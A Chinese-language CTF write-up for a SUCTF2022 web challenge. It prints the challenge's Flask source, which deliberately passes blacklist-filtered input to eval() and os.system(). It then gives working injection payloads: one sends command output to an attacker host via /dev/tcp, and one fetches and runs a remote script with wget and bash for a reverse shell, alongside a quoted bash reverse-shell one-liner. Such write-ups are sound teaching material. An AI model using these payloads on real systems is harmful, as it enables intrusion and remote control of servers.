查看代码
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = [\'import\',\'(\',\')\',\' \',\'_\',\'|\',\';\',\'\"\',\'{\',\'}\',\'&\',\'getattr\',\'os\',\'system\',\'class\',\'subclasses\',\'mro\',\'request\',\'args\',\'eval\',\'if\',\'subprocess\',\'file\',\'open\',\'popen\',\'builtins\',\'compile\',\'execfile\',\'from_pyfile\',\'config\',\'local\',\'self\',\'item\',\'getitem\',\'getattribute\',\'func_globals\',\'__init__\',\'join\',\'__dict__\']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
num=1#`ls`
@app.route(\"/\")
def index():
\"欢迎来到SUctf2022\"
return render_template(\"index.html\")
@app.route(\"/calc\",methods=[\'GET\'])
def calc():
ip = request.remote_addr
num = request.values.get(\"num\")
log = \"echo {0} {1} {2}> ./tmp/log.txt\".format(time.strftime(\"%Y%m%d-%H%M%S\",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return \"waf!!\"
if __name__ == \"__main__\":
app.run(host=\'0.0.0.0\',port=5000)
首先放出源码
然后观察可以知道,对num的过滤极其严格,所以突破口并不在num上,自然而然想到突破口应该是log
log = \"echo {0} {1} {2}> ./tmp/log.txt\".format(time.strftime(\"%Y%m%d-%H%M%S\",time.localtime()),ip,num)
程序会将num插入到log字符串的最后然后先后执行 eval(num)和os.system(log)。
我们要想办法在第二个函数上执行但是要避免在eval函数中报错以导致程序不会进行下一步。基于python特性想到了用#注释。
然后就可以使用`代码`来优先执行,其实$()有相同作用但是被过滤了。
接下来有多种方法我挨个尝试。
1 输出重定向到攻击机
payload:calc?num=1%23`ls%09>/dev/tcp/IP/2333`
直接将输出重定向到攻击机 因为空格被过滤所以用制表符
然后直接打开这个文件即可
2 命令行反弹
因为&被过滤不能直接用
bash -i >& /dev/tcp/IP/2333 0>&1
所以现在本地用python写一个文件,然后开启服务器
让目标机读取本机上的文件并执行即可。(哦别忘了在云服务器上安全组开启端口)
ok 这就结束了
payload:
calc?num=1%23`wget%09http://Ip/log.sh`
calc?num=1%23`bash%09log.sh`
第二种方法结束。
还有其他避开eval报错得到方法还可以去学习
来源:https://www.cnblogs.com/kabuto-taka/p/16089827.html
本站部分图文来源于网络,如有侵权请联系删除。